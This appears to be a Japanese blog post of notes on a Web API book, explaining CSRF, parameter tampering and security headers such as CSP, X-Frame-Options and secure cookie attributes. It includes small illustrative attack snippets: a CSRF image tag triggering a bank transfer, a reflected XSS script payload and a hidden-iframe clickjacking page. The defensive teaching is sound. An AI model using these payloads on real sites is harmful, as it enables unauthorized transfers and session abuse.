カスタムヘッダーを使う
-
fetch()
/XHR
の場合、X-Requested-With: XMLHttpRequest
など独自ヘッダーを付与 - ブラウザ外部(
<img>
・<form>
)では送れない → サーバーで必須チェック
-
-
Origin / Referer チェック
- サーバー側でリクエストの
Origin
またはReferer
ヘッダーを確認 - 自ドメイン以外からのリクエストは拒否
- サーバー側でリクエストの
5️⃣ まとめ 🎯
- CSRF = 「他サイトから勝手に送られる正当リクエスト」
- 核心はブラウザの自動 Cookie 送信
- CSRF トークン+SameSite Cookie+ヘッダー/オリジンチェック の組み合わせが標準防御策
これらを実装することで、攻撃者による「なりすまし送信」をしっかりブロックできます!
CSRFとは要するに、偽装したリクエストを送信し、サーバー側に意図しない処理を実装させる攻撃のことです。
本書ではCSRFの事例として、
- 掲示板に勝手に投稿が行われる
- ECサイトや何らかのランキングサイトに対して特定の商品の評価を下げる
- 銀行口座からお金をどこかに送金する
などが挙げられていた。
具体例としてはこんな感じ。
1️⃣ 具体例でイメージしてみよう 🏦→🛒
ユーザーが銀行サイトでログイン中
- Cookie にセッション情報が入っている
攻撃者が仕込んだ悪意あるページを閲覧
<!-- 攻撃ページに埋め込まれたタグ例 --> <img src="https://bank.example.com/transfer?to=attacker&amount=10000" />
ユーザーのブラウザが自動でリクエスト送信
<img>
タグはページ読み込み時にリクエストを発行- Cookie は同一ドメインなら自動送信される
銀行サイトは “正当なユーザー” と勘違い
- セッション Cookie を見て認証 → 10000 円を攻撃者口座に振込
ユーザーは知らないうちに被害 😱
CSRFはイメージタグなどを用いて攻撃のためのスクリプトを仕込み、そのタグが読み込まれた時に攻撃リクエストを投げることで実行される。
対策としては、リソースの変更や削除などを行うメソッドをGETではなくPOST, DELETE, PUTなどを用いるようにするなどが挙げられる。こうすることで、Imageタグによる攻撃はできなくなる。
CSRFはFORM要素からPOSTメソッドを使って攻撃を仕掛けることも可能である。これの対策としてはCSRFトークンを仕掛けて、セッションごとにユニークはトークンを埋め込むことで対策するなどが挙げられる。
ちなみに、最も一般的なCSRF対策はXSRFトークンを仕掛けることである。
パラメータの改ざん
パラメータの改ざんはもっとのシンプルな不正なアクセス方法である。
パラメータを改ざんすることで以下のようなことができてしまう。
- ゲームにおいて強制的に「勝負に勝つ」ようにする
- ゲームアプリにおいてアイテムの数を増やす、減らす
- ポイントアプリにおいて多くのポイントを付与するようにする
などさまざまである。
このようにURIのパラメータはHackable(改ざん可能)であることから、基本的にクライアントから送られてくる内容は信用せず、サーバー側で適切な値かどうかのバリデーションはかけた方が良い。
対戦ゲームにおいて双方の状況から見て正当な結果であるかなどをチェックする、ログを見て不正な記録がないかをチェックするといった対策が必要かもしれない。
X-Content-Type-Options
🐶「X-Content-Type-Optionsとは」
以下では、X-Content-Type-Options: nosniff
ヘッダーが何をしてくれるのか、具体例を使ってざっくり解説します。
1️⃣ そもそも「MIME スニッフィング」とは?👃
- サーバーはファイルを送るときに、必ず
Content-Type
を付けて「これは CSS ですよ」「これは画像ですよ」と教えてくれます。 - でも、古いブラウザなどは「本当にそんなファイルか?」と、ファイル中身をちょっとだけ覗いて(スニッフィング)勝手に判断しようとすることがあります。
- 例えば、
- サーバーが CSS ファイルを
Content-Type: text/plain
と誤設定しても、ブラウザが「お、あれ? 中身は CSS っぽいな?」と判断して CSS として扱ったり。 - 悪意ある攻撃者が、スクリプトを画像ファイルに仕込んで
image/png
として返し、ブラウザが「中身は JS っぽいから実行しちゃおう」とスニッフィングすると大事故に。
- サーバーが CSS ファイルを
2️⃣ X-Content-Type-Options: nosniff
の役割🛑
- 意味:「ブラウザさん、MIME タイプはサーバーが教えてくれたままにしてね。勝手に中身を覗かないで!」
-
効果:もしサーバーが
Content-Type
と違う中身を返しても、ブラウザは「違う!開けない!」と断ってくれます。
3️⃣ 具体例で見てみよう🔍
例1:CSS をテキストとして返してしまったケース
HTTP/1.1 200 OK
Content-Type: text/plain
X-Content-Type-Options: nosniff
/* style.css の本当の中身 */
body { background: red; }
-
ヘッダーなし → 一部ブラウザは「中身が
body { … }
だから CSS」と判断して適用してしまう -
nosniff
あり → ブラウザ「Content-Type と違う!CSS じゃないなら読み込まない!」→ スタイルが反映されない
例2:画像にこっそりスクリプトを仕込んだケース
HTTP/1.1 200 OK
Content-Type: image/png
X-Content-Type-Options: nosniff
/* ファイル実体はこんな感じ */
<script>alert("ハックされた!");</script>
- ヘッダーなし → 古いブラウザは「画像じゃなくて JS だ」→ 実行してしまう可能性あり
-
nosniff
あり → ブラウザ「PNG のはずが JS ?ダメだ読み込まない!」→ 攻撃失敗
4️⃣ どう設定するの?🛠️
Nginx の例
server {
...
location / {
add_header X-Content-Type-Options nosniff;
}
}
Express(Node.js)の例
app.use((req, res, next) => {
res.setHeader("X-Content-Type-Options", "nosniff");
next();
});
5️⃣ まとめ🎯
- MIME スニッフィング はブラウザが中身を勝手に覗く動き
-
nosniff
を付けると「サーバーが指定したContent-Type
に厳密従う」ようになる - セキュリティ向上:偽装スクリプト混入やタイプミスでの誤動作を防げる
初心者の方は「ファイルの種類はサーバー指示どおりに扱いましょう!」という命令を出すヘッダー、と覚えておけば OKです😊
古いブラウザなどでは、Content-Type
でメディアタイプを指定していたとしても、「ほんまにそうか?ちょいとのぞいてみよう…」とメディアタイプを無視してコンテンツの拡張子などをデータ形式から推定しようとする機能がある。
仮に、メディアタイプがtext/plain
になっていて、中身がJSっぽかったとする。
そのJSの中に悪意あるコードがあった場合、ブラウザが勝手に「これプレーンテキストかいな。中身JSっぽくみえるぞわれ。おい。ちょいと中身をのぞいてみよう。なんなら実行ちゃったりして…」なんてなると大惨事になるわけだ。
それを防ぐ仕組みがこのX-Content-Type-Options
である。
以下のように設定することで、ブラウザは勝手に覗き見することができなくなるのだ。
X-Content-Type-Options: nosniff
この設定があることで中身はCSSやJSだった場合にContent-Type
がtext/plain
だったりすると、「Content-Type
がtext/plain
なのに中身CSSじゃん!し〜らねっ」ってやってくれる。
ちなみに、JSのファイルを実行せずに配信したいみたいな場合もあるだろう。
そういう場合にもX-Content-Type-Options
は有効である。中身はJSだけどContent-Type
をtext/plain
にしてX-Content-Type-Options: nosniff
を指定しておくことで、JSを実行せずにJSの配信が可能になる。
X-XSS-Protection
🐶「X-XSS-Protectionとは?」
以下では、X-XSS-Protection
ヘッダーが何をしてくれるのか、具体的なリクエスト/レスポンス例を交えながらステップ・バイ・ステップで解説します。
1️⃣ そもそもの狙い:「簡易 XSS フィルター」を制御する
-
XSS(クロスサイトスクリプティング): 攻撃者がサイトの入力欄などに仕込んだ
<script>alert(...)
をユーザーのブラウザで実行させる攻撃 -
ブラウザ内蔵の簡易フィルター: IE や一部の Chrome/Safari には「怪しい
<script>
を検出したら除去 or ページ表示をブロックする」機能があり、これを制御するのがX-XSS-Protection
ヘッダー
2️⃣ ヘッダーの基本ディレクティブ
値 | 動作 |
---|---|
0 |
フィルター無効化(XSS 検知しても何もしない) |
1 |
フィルター有効化、“検知した場合はタグをエスケープ” |
1; mode=block |
フィルター有効化、“検知した場合はページ全体をブロック” |
3️⃣ 具体例:シンプルな反映型 XSS 対策
a) フィルター無しだと…
- リクエスト
GET /search?q=<script>alert('XSS')</script> HTTP/1.1
Host: example.com
- レスポンス(ヘッダー無し)
HTTP/1.1 200 OK
Content-Type: text/html
<html>
<body>
検索結果: <script>alert('XSS')</script>
</body>
</html>
-
ブラウザ はそのまま
<script>
を実行 → アラートが出てしまう
b) 1; mode=block
を付けると…
- レスポンス
HTTP/1.1 200 OK
Content-Type: text/html
X-XSS-Protection: 1; mode=block
<html>
<body>
検索結果: <script>alert('XSS')</script>
</body>
</html>
-
ブラウザ内フィルター が
<script>
を検知 -
mode=block
指定により ページ全体を真っ白(またはブラウザ標準の警告ページ) に置き換え - 実際のスクリプト実行はされず、ユーザーへの被害を防止
c) なぜ時に「無効化」するのか?
X-XSS-Protection: 0
- 一部フレームワークや CSP(Content Security Policy)と併用すると、ブラウザの簡易フィルターが誤検知して正しいコンテンツまで壊してしまうケースがあるため
- その場合、純粋にサーバー/CSP で XSS 対策を行うため、ブラウザフィルターは切ってしまう
4️⃣ 現状のサポート状況とベストプラクティス
-
現代の主要ブラウザ(最新 Chrome, Firefox, Edge, Safari)はほとんど独自フィルターを廃止済み
-
CSP(Content Security Policy) の導入が推奨され、
Content-Security-Policy: default-src 'self'; script-src 'self';
のように、より堅牢に XSS を防ぐ
-
そのため、
X-XSS-Protection
は レガシーサポート として位置づけられています
5️⃣ まとめ 🎯
-
X-XSS-Protection
はブラウザの簡易 XSS フィルターを 有効/ブロック/無効 に制御するヘッダー -
具体例:
<script>
挿入型の反映型 XSS を検知→ページ丸ごとブロックできる -
今どきは CSP と組み合わせて XSS 対策を行い、レガシー環境向けに
X-XSS-Protection
を併用する形がベスト
これで、初心者でも「X-XSS-Protection
が何をしてくれるのか」「具体的にどう書くのか」がイメージできるはずです!
X-XSS-Protectionヘッダーとは要するに、XSSの対策を行ってくれるようにするということ。
リクエストの中にXSSを発生させそうなパターンがないかどうかを検知し、その中にパターンがあればブロックするみたいなことをやってくれます。
この設定をしておけば全てのパターンをブロックできるかでいうとそういうわけではないので、あくまで最低限のブロックはしてくれるくらいの認識でいるとOk
2️⃣ ヘッダーの基本ディレクティブ
値 動作 0
フィルター無効化(XSS 検知しても何もしない) 1
フィルター有効化、“検知した場合はタグをエスケープ” 1; mode=block
フィルター有効化、“検知した場合はページ全体をブロック”
面白かったのが、このX-XSS-Protectionをあえて0にするパターンもあるというところ。
例えば、NotionとかだとX-XSS-Protectionは0になっている。
理由は、フレームワークやCSP(Content Security Policy)と併用することでブラウザのフィルターが誤検知をしてしまい、正しいコンテンツまで無効化してしまうケースがあるから。
このような場合はサーバー側でXSS対策を行うのでブラウザ側のX-XSS-Protectionは切ってしまうらしい。
X-Frame-Options
🐶「X-Frame-Optionsとは」
🔳 X-Frame-Options とは?
「このページを <frame>
や <iframe>
内に表示してもいいか/どこまで許可するか」をブラウザに指示する HTTP ヘッダーです。
主に クリックジャッキング(Clickjacking) 攻撃を防ぐために使います。
1️⃣ クリックジャッキング(Clickjacking)とは?🎣
- 攻撃者サイトに透明な
<iframe>
を仕込み、ユーザーに見えないボタンやリンクを踏ませる手法 - 例:見た目は「いいね!」ボタンをクリックしているつもりが、実は銀行の「送金」ボタンを押している
<!-- 攻撃者ページの一例 -->
<html>
<body>
<h1>ここをクリック!</h1>
<!-- 透明な重ね合わせで本物のボタンを踏ませる -->
<iframe src="https://victim.example.com/transfer"
style="opacity:0; position:absolute; top:0; left:0; width:100%; height:100%;"></iframe>
</body>
</html>
2️⃣ X-Frame-Options の3つのディレクティブ
値 | 意味 | 効果 |
---|---|---|
DENY | どこからもフレームにできない |
<iframe> での埋め込みを 完全禁止
|
SAMEORIGIN | 同じオリジン(プロトコル+ホスト+ポート)のみ | 同一サイト内からの <iframe> は許可、他サイトは禁止 |
ALLOW-FROM | 指定したオリジンのみ | 例:ALLOW-FROM https://partner.example.com
|
3️⃣ 具体例:Nginx/Express 設定
a) Nginx での設定
# 完全禁止
add_header X-Frame-Options "DENY";
# 同一サイトのみ許可
add_header X-Frame-Options "SAMEORIGIN";
# partner.example.com だけ許可
add_header X-Frame-Options "ALLOW-FROM https://partner.example.com";
b) Express(Node.js)での設定
// helmet ミドルウェアを使う場合
const express = require('express');
const helmet = require('helmet');
const app = express();
// DENY
app.use(helmet.frameguard({ action: 'deny' }));
// SAMEORIGIN
app.use(helmet.frameguard({ action: 'sameorigin' }));
// ALLOW-FROM
app.use((req, res, next) => {
res.setHeader('X-Frame-Options', 'ALLOW-FROM https://partner.example.com');
next();
});
4️⃣ 動作イメージ
ページに X-Frame-Options: DENY
がある場合
<!-- 攻撃者ページ -->
<iframe src="https://victim.example.com/dashboard"></iframe>
- ブラウザ がロード直前にチェック → ブロック (コンソールにエラー)
- 被害者サイトは「iframe に表示されない」ので、クリックジャッキング不可
ページに X-Frame-Options: SAMEORIGIN
がある場合
<!-- 同じサイト内 -->
<iframe src="https://victim.example.com/settings"></iframe> <!-- OK -->
<!-- 他サイト -->
<iframe src="https://victim.example.com/settings"></iframe> <!-- ブロック -->
- 同一オリジンなら埋め込み可、それ以外は拒否
5️⃣ まとめ🎯
- クリックジャッキング対策 の基本ヘッダー
- DENY / SAMEORIGIN / ALLOW-FROM の3択
- 多くのモダンブラウザでサポート済み
- 設定はサーバー側(Nginx, Apache, Express など)で一行追加すれば OK
これで「自サイトを iframe に埋め込まれず、ユーザーの無自覚な操作を防止できる」ようになります!
X-Frame-Optionsとはframeやiframeタグ内でデータの読み込みを禁止するために使うヘッダです。
この設定は主にクリックジャギング対策で行われるものです。
クリックジャギングとは、iframeをこっそり他のページに読み込みあるページでユーザーがクリックを行った時に、ユーザーが意図しない行動を起こさせるというもの。
例えば、見た目はいいねボタンだけど、裏ではランキングサイトで星5の評価をつけるだったり、掲示板に意図せぬ投稿を行うなどがクリックジャギングの例である。
Content-Security-Policy
🐶「Content-Security-Policyとは」
Content-Security-Policy(CSP)は、ブラウザに「どこから何を読み込んでいいか」を細かく教えるヘッダーです。主に XSS やクリックジャッキング、外部スクリプトの読み込み制御などに使います。
1️⃣ CSP の仕組みと効果
-
リソースの制限
script-src
やstyle-src
などのディレクティブで、スクリプト・スタイル・画像などを読み込む許可先を指定 -
インライン実行の防止
unsafe-inline
を外す、もしくはnonce-…
/hash-…
を使って許可することで、インラインスクリプト/スタイルをブロック -
レポート機能
report-uri
(旧)/report-to
(新)で違反があったときにサーバーへ通知可能
2️⃣ 基本の書き方
HTTP ヘッダー例
Content-Security-Policy:
default-src 'self';
script-src 'self' https://cdn.example.com;
style-src 'self' 'unsafe-inline';
img-src *;
connect-src 'self' https://api.example.com;
report-uri /csp-report-endpoint
HTML <meta>
タグ例
<meta http-equiv="Content-Security-Policy"
content="
default-src 'self';
script-src 'self' https://cdn.example.com;
style-src 'self' 'unsafe-inline';
img-src *;
connect-src 'self' https://api.example.com;
report-uri /csp-report-endpoint
">
3️⃣ 具体例:インラインスクリプトを禁止して CDN のみ許可
ポリシー
Content-Security-Policy:
default-src 'self';
script-src 'self' https://cdn.example.com;
style-src 'self';
img-src 'self' data:;
object-src 'none';
base-uri 'self';
frame-ancestors 'none';
-
default-src 'self'
すべての読み込みは同一オリジンのみ(他のディレクティブが無い場合のデフォルト)
-
script-src 'self' https://cdn.example.com
スクリプトは自サイトと CDN.example.com からのみ
-
style-src 'self'
スタイルは自サイトのみ(インラインスタイルも禁止)
-
img-src 'self' data:
画像は自サイトと data URI(Base64 埋め込み)のみ
-
object-src 'none'
Flash / plugin 埋め込みを全面禁止
-
base-uri 'self'
<base>
タグでオリジン外への誘導を禁止 -
frame-ancestors 'none'
クリックジャッキング防止:どこからも
<iframe>
埋め込みを許可しない
4️⃣ nonce(ワンタイムトークン)を使った許可例
動的にインラインスクリプトを許可したい場合、サーバー側で毎回発行するランダムな nonce
を <script>
タグに付与します。
サーバー送出ヘッダー例
Content-Security-Policy:
script-src 'self' 'nonce-abc123';
style-src 'self';
HTML 側
<script nonce="abc123">
// この中身だけは安全とみなして実行される
console.log('This inline script runs because the nonce matches.');
</script>
- 別のページや別のリクエストで送る
nonce
が変わる → 他サイト/他タブから同じコードを持ってきても実行不可
5️⃣ レポート専用モード
実際にブロックする前に「どれくらい違反が起きるか?」を把握するには Content-Security-Policy-Report-Only
を使います。
Content-Security-Policy-Report-Only:
default-src 'self';
script-src 'self';
report-uri /csp-violation-report
- 違反があっても実際にはブロックせず、レポートだけ受け取る
- 運用テストとしておすすめ
🎯 まとめ
- CSP = ブラウザに許可する読み込み元を細かく指示
- ディレクティブ例
-
default-src
/script-src
/style-src
/img-src
/connect-src
-
object-src
/base-uri
/frame-ancestors
-
nonce-…
/hash-…
/report-uri
-
- nonce で安全なインライン実行を許可
- Report-Only モードで違反傾向を把握
これで、具体例とともに CSP の基本がつかめるはずです!
Content-Security-PolicyはImg、Script、Linkタグなどの読み込み先として、どこまで許可するかをきめ細かく設定することができるヘッダである。
例えば、Imgタグのリソースは同じ生成元に限定するみたいなことを設定することができ、こうすることでXSSの危険性を下げることができる。
2️⃣ 基本の書き方
HTTP ヘッダー例
Content-Security-Policy: default-src 'self'; script-src 'self' https://cdn.example.com; style-src 'self' 'unsafe-inline'; img-src *; connect-src 'self' https://api.example.com; report-uri /csp-report-endpoint
HTML
<meta>
タグ例<meta http-equiv="Content-Security-Policy" content=" default-src 'self'; script-src 'self' https://cdn.example.com; style-src 'self' 'unsafe-inline'; img-src *; connect-src 'self' https://api.example.com; report-uri /csp-report-endpoint ">
このようにきめ細かい設定が可能になる。
Set-Cookieヘッダとセキュリティ
🐶「Set-Cookieヘッダとセキュリティとは」
Set-Cookie
ヘッダーは、サーバーからクライアント(ブラウザ)に「この Cookie を保存してね」と指示するものです。
しかしそのままだと…
-
XSS(悪意あるスクリプト)が
document.cookie
で読み書きできる - MITM や ネットワーク盗聴 で平文の Cookie が漏れる
- CSRF(サイト間リクエスト偽造)で勝手に Cookie を送られてしまう
などのリスクがあります。そこで セキュリティ属性 を付与して強化します。
1️⃣ 基本の書き方
Set-Cookie: sessionId=abc123; Path=/; Domain=example.com; Expires=Wed, 21 Oct 2025 07:28:00 GMT
-
sessionId=abc123
… 名前と値 -
Path=/
… URL パスが/
以下で送信 -
Domain=example.com
…example.com
ドメイン全般で送信 -
Expires
/Max-Age
… 有効期限
2️⃣ セキュリティ強化属性と具体例
属性 | 効果 | 例 |
---|---|---|
HttpOnly |
JavaScript から document.cookie での読み書きを禁止。XSS 攻撃で盗まれにくい |
Set-Cookie: sessionId=abc123; HttpOnly |
Secure |
HTTPS 接続 のときのみブラウザに送信。ネットワーク盗聴で平文漏洩を防ぐ | Set-Cookie: sessionId=abc123; Secure |
SameSite |
クロスサイトリクエストでの送信を制御。CSRF 対策の第一歩 | Set-Cookie: sessionId=abc123; SameSite=Strict |
Strict |
他サイトからのリクエスト(リンク・フォーム・画像・AJAX)では絶対に送信しない | |
Lax |
GET ナビゲーション程度の「トップレベルの」リンクやフォーム送信は許可。Ajax/CSRF では送らない | Set-Cookie: sessionId=abc123; SameSite=Lax |
None |
クロスサイトでも常に送信。ただし Secure 必須
|
Set-Cookie: sessionId=abc123; SameSite=None; Secure |
3️⃣ 実際の比較例
🔴 セキュリティなし(危険!)
Set-Cookie: sessionId=abc123
- JavaScript から丸見え
- HTTP でも送信 → 盗聴リスク大
- CSRF フォーム送信でも自動送信される
🟢 セキュアなセッション Cookie
Set-Cookie: sessionId=abc123;
Path=/;
Domain=example.com;
Expires=Wed, 21 Oct 2025 07:28:00 GMT;
HttpOnly;
Secure;
SameSite=Strict
- HTTPS でしか送られない
- JavaScript からアクセスできない
- クロスサイトリクエストでは絶対送らない
4️⃣ まとめ 🎯
-
HttpOnly
: XSS で盗まれない -
Secure
: ネットワーク盗聴から守る -
SameSite
: CSRF を防ぐ切り札 -
Path
/Domain
/Expires
で範囲・寿命を適切に管理
これらを組み合わせることで、Cookie による認証・セッション管理をぐっと安全に行えます!
ブラウザなどでセッション管理を行う際はCookieを使うことが多いかと思います。
その際にセキュリティを考慮して設定しておくことを忘れないようにしましょう。
それがSecure
とHttpOnly
という属性です。
Set-Cookie: sessionId=abc123;
Path=/;
Domain=example.com;
Expires=Wed, 21 Oct 2025 07:28:00 GMT;
HttpOnly;
Secure;
SameSite=Strict
例えば、上記のようにSet-Cookieを設定します。
Secureがあることで、『このCookieはHTTPSでの通信の際のみ、サーバに送り返す。』という設定をすることができます。
HttpOnlyがあることで、『そのCookieはHTTPの通信のみで使われ、ブラウザでJSなどのスクリプトを使ってアクセスすることはできません。』ということを示すことができる。
この設定をすることで、XSSによってCookieに含まれたセッション情報を読み出されることを防ぐことができるのです。
まとめ
この章ではセキュアなWeb APIを開発する上で知っておくべき知識について書かれてあった。
HTTPSの基礎について、CSRFとは何か、ヘッダーは最低限ここら辺は設定しておこうといったことが書かれてあった。
また、メモはしなかったがリクエストが2回連続で送信されないような仕組みを作る必要があるといったことも書かれてあった。
個人的にはHTTPヘッダ周りはこれまであまり深く学んでこなかったこともあり、今回体系的に学べてよかった。
よく使うアプリケーションのヘッダを調べてみて、「あ、このアプリちゃんとこのヘッダ設定している」というふうにみてみるのもいいかもしれない。
もんた的感想
Web APIの基礎がわかる内容の本だった。
特に多くの人が勘違いしているREST APIの本来の意味みたいなところを知れてよかった。
REST APIとは、入り口のAPIさえクライアント側が知っていれば、あとはAPIのレスポンスにあるエンドポイントに従うだけでOKというもの。
多くの人が思っているREST APIはどちらかというとRPCの考え方に近いということを知れ他のがよかった。
その他にもAPIを設計、開発する上でのお左方なども学べて非常にためになった。
個人的にはヘッダー周りの解説が多く、ためになることが多かった。知らないヘッダーだけでなく、なんとなく知っていたけどこのヘッダーってそういう意味やったんやと新たな気づきがあった。
キャッシュ周りに関しても学べたので、APIを開発する時に意識して設定していこうと思った。
非常にためになる本でした。ありがとござっした。
学びたかったことの答え合わせ
- APIを公開する上でしては行けないものは?逆に、しなきゃ行けないものは?
- 命名はわかりやすくシンプルにすること
- 複数のリクエストの対策、レートリミットなどを適切に配置する
- レートリミットは長すぎても短すぎてもいけない。1時間〜2時間くらいがちょうど良い
- クライアントからのパラメータを信用せず、バックエンド側で期待通りの値を設定するようにする
- ステータスコードとエラーメッセージはセット
- ステータスコードで悪意あるユーザーにヒントを与えないようにする(例:パスワードだけ間違えてますみたいなメッセージはメールは合っているというヒントになる)
- 美しい設計のAPIとは何か?
- バージョニングがパスで行われている(例:/api/v1/usersみたいな感じ)
- エンドポイントの名前が単語の連結になっていない(例:/api/v1/user-findとかではなく、/api/v1/user/search→findよりかはsearchの方が適切)
- 適切にステータスコードを設定している(例:エラーなのに200とか返さない)
- APIの提供終了時に定期的な周知および、BlackoutTestなどを定期的に行うことで徐々にAPIの終了を知らせる
- ネイティブアプリにおいては、クライアントにバージョンアップを促すようにする(例:新しいバージョンを使うにはバージョンアップしてくださいというメッセージを表示する)
- レスポンスでは何を意識するのが良いか?
- エラーのステータスコードとメッセージを適切に送ること
- 一ついいなと思ったのが、クライアントフレンドリーなエラーメッセージとデベロッパーフレンドリーなメッセージを表示すること
- JSONは配列ではなくオブジェクトで返すこと。配列だとJSだと判断され、JSONハイジャックなどの原因になる。また、オブジェクトで返していると、キーからどんなデータか判断しやすい。
- HTTPの仕様を最大限利用するとはどういうことか?
- キャッシュ、ヘッダーを使いこなそうということ
- キャッシュでは、データの特性を理解して適切なキャッシュを設定するようにしよう。
- Validation ModelやExpiration Modelを使ってデータをキャッシュしよう。
- Content-Typeでしっかりとデータのメディアタイプを指定し、ブラウザの混乱を防ごう(application/jsonなど)
- セキュリティに関するヘッダをしっかりと設定しよう。(例:X-Content-Type-Options: nosniffなど)
- 設計変更しやすいAPIと範囲か?
- バージョニングルールの設定、パスにAPIのバージョンを含める
- APIの名前を短くシンプルにする
- 堅牢なAPIを作る上で意識しないといけないことは何か?
- 適切なヘッダの設定
- HTTPSで通信を行う
- サーバー証明書が信頼できるものかどうかを検証する